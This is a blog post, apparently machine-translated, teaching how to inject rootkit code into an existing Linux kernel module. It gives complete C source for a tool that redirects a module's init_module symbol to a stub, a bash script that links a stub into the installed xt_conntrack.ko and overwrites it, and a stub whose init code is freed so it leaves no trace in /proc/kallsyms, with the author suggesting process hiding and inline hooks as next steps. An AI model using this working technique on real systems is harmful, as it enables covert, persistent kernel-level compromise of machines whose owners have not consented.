Inject your Rootkit code into a Linux kernel module

Keywords: Linux Programming

A while ago, starting from the completion of the "real-time acquisition of the number of TCP semi-connections in the system" which can never be brought online, I stuck in the deep pit of Rootkit irregularly, got a little bit carried away, wrote a lot of essays on this and made many friends, which made me feel good.

In the previous series of articles, most of them describe a technology point that you want to use to do something good or bad that actually has a long way to go, such as:

  • Who gives you root privileges?
  • Can you program and write Linux kernel modules?
  • Are there gcc and make in the system?
  • Does the kernel module require signature verification?
  • Is the manager's last name Liu?Or is the manager's last name Wu?
  • ...

Each of the above points is easy to defend and difficult to attack, so it is still difficult to inject your own Rotkit code into the system.

This article introduces a simple injection method that injects your Rootkit code into an existing Linux kernel module.

Many beginners have done one thing: modify the entry function of an ELF or PE file to jump to their logic.

It's actually easy to do this by link ing our own stub obj file to an existing executable and then modifying the entry of the file.As long as there is a manual of ELF or PE files at hand, what else can't be changed?

Interestingly, injecting Linux kernel modules is much easier than injecting the executable above!

  • Because the Linux kernel module does not rely on entries to determine entries at all, but rather on init_module symbol s to determine entries.

This is an easy way to describe, and as always, I still don't analyze the kernel source. I want to use a small experiment to describe what I want to express.

The Linux kernel module follows the ELF file format but customizes the load and execution logic.

Simply put, a kernel module locates entries by looking for init_module symbols, while init_module belongs to a relocation section:

The relocation section'.rela.gnu.linkonce.this_module'at offset 0xea20 contains two entries:
  Offset Information Type Symbol Value Symbol Name+Plus
000000000128  004500000001 R_X86_64_64       0000000000000017 init_module + 0
000000000228  004100000001 R_X86_64_64       0000000000000000 cleanup_module + 0

This is true for any module.The so-called relocation segment is that its address cannot be confirmed in ELF, and its final loading address needs to be determined by relocation technology.

The init_module is actually an alias for the kernel module init function, and its final address during relocation is determined by its st_value field in the table entry of the symbol table!

When we read a kernel module file through readelf-s, we find init_module:

    39: 0000000000000000    18 FUNC    GLOBAL DEFAULT    4 init_module

The second column has the full 0 u64 value as its st_value.

Things get simple and interesting. We just need to change the st_value of the init_module symbol to the st_value of the func_stub symbol of another function, then when the module loads, func_stub will be called.With ELF format parsing, this is simply too easy.

The question now is, how do you insert another function, func_stub, into an existing kernel module?

It's not difficult. Just use ld:

Ld-r $(Existing Module) $(hook Module) -o $(New Module)

Finally, we can modify the st_value field of the symbol table item of the new module, and parse the ELF file to complete the task.

First, I give the program source code that I use to modify the st_value field of the symbol table item:

// modsym.c
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <elf.h>

int main(int argc, char **argv)
{
	int fd;
	char *mod;
	char *orig_func_name, *stub_func_name;
	unsigned int size, i, j, shn, n;
	Elf64_Sym *syms, *sym, *init, *hook, *dup;
	Elf64_Shdr *shdrs, *shdr;
	Elf64_Ehdr *ehdr;
	const char *strtab;

	init = hook = dup = NULL;
	orig_func_name = argv[2];
	stub_func_name = argv[3];

	fd = open(argv[1], O_RDWR);
	size = lseek(fd, 0L, SEEK_END);
	mod = mmap(NULL, size, PROT_READ|PROT_WRITE, MAP_SHARED, fd, 0);

	ehdr = (Elf64_Ehdr *)mod;
	shdrs = (Elf64_Shdr *)(mod + ehdr->e_shoff);
	shn = ehdr->e_shnum == 0 ? shdrs[0].sh_size : ehdr->e_shnum;

	for (i = 0; i < shn; i++) {
		shdr = &shdrs[i];
		if (shdr->sh_type == SHT_SYMTAB || shdr->sh_type == SHT_DYNSYM) {
			syms = (Elf64_Sym *)(mod + shdr->sh_offset);
			strtab = mod + shdrs[shdr->sh_link].sh_offset;
			n = shdr->sh_size / shdr->sh_entsize;
			for (j = 0; j < n; j++) {
				char stype;

				sym = &syms[j];
				stype = ELF64_ST_TYPE(sym->st_info);
				if (stype == STT_FUNC || stype == STT_NOTYPE) {
					if (!strcmp(strtab + sym->st_name, "init_module")) {
						init = sym;
					}
					if (!strcmp(strtab + sym->st_name, stub_func_name)) {
						hook = sym;
					}
				}
				if (stype == STT_NOTYPE) {
					if (!strcmp(strtab + sym->st_name, orig_func_name)) {
						dup = sym;
					}
				}
			}
			if (init && hook) {
				break;
			}
		}
	}
	if (init && hook) {
		if (dup) {
			// Clean up extern symbols that are no longer useful
			memcpy(dup, init, sizeof(Elf64_Sym));
		}
		printf("   @@@@@@@@ init func  :%s  %d  %d\n", strtab + init->st_name, ELF64_ST_BIND(init->st_info), STB_GLOBAL);
		init->st_value = hook->st_value;
	}
	munmap(mod, size);
}

The code is straightforward, finding the two symbol items init_module and our hook function, replacing the original st_value of init_module with the st_value of the hook function, and we need to clear the extern symbol from the stub module.

Come on, let's get started.

First, confirm the kernel module that we want to inject. I will use the following module as an example to implement injection:

/lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko

Here is a script:

#!/bin/bash
# Backup to prevent failures.
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak

# Experiment with old modules.
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko.bak /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko

# Merge stub modules to xt_conntrack.ko.
ld -r /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko ./stub.ko -o /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko

# Modify the symbol table entries in the new module.
./modsym /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko conntrack_mt_init test_stub

# Use the injected module as the system default module.
cp /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack1.ko /lib/modules/`uname -r`/kernel/net/netfilter/xt_conntrack.ko
sync

In my experiment, I just added a module parameter to xt_conntrack.ko and printed it out before loading it:

// stub.c
#include <linux/module.h>

extern int conntrack_mt_init(void);

int aaaa = 123;
module_param(aaaa, uint, 0444);
MODULE_PARM_DESC(aaaa, "......");

int __init test_stub(void)
{
	printk("i am a stub, and my value is %d\n", aaaa);
	return conntrack_mt_init();
}

MODULE_LICENSE("GPL");

Come and see the effect:

[root@localhost test]# dmesg -c
[root@localhost test]# service firewalld stop
Redirecting to /bin/systemctl stop firewalld.service
[root@localhost test]# service firewalld start
Redirecting to /bin/systemctl start firewalld.service
[root@localhost test]# dmesg
[ 8019.300351] Ebtables v2.0 unregistered
[ 8026.911602] ip_tables: (C) 2000-2006 Netfilter Core Team
[ 8026.933152] ip6_tables: (C) 2000-2006 Netfilter Core Team
[ 8026.958643] Ebtables v2.0 registered
[ 8026.991342] nf_conntrack version 0.5.0 (7941 buckets, 31764 max)
[ 8027.224429] i am a stub, and my value is 123
[root@localhost test]# cat /sys/module/xt_conntrack/parameters/aaaa
123

Haha, successfully added a parameter aaaa to the xt_conntrack module, and printed a sentence and the value of aaaa before its init function conntrack_mt_init was called.

As in the previous series of articles, it is certainly impossible to do such a simple thing in the stub function, at least hide the process, inline hook.It is worth noting that our stub function is _init-modified, which means that when it is called, its memory will be cleaned up, leaving no trace:

[root@localhost test]# cat /proc/kallsyms |grep test_stub
[root@localhost test]# echo $?
1

Is it fun?

If we think of the components of the ELF file as Lego toys, we don't even need to disassemble the details to create something interesting by rearranging the combinations.

The method described here does not require programming.That's the good news for people who don't know programming!modsym.c is really a piece of C code, but it's not really programming, it's just the construction of production tools, and there's a lot of code on the web.

What about the manager?What about the manager?

Zhejiang Wenzhou leather shoes are wet, so you won't get fat when it rains.

Posted by lmhart on Thu, 07 May 2020 18:27:24 -0700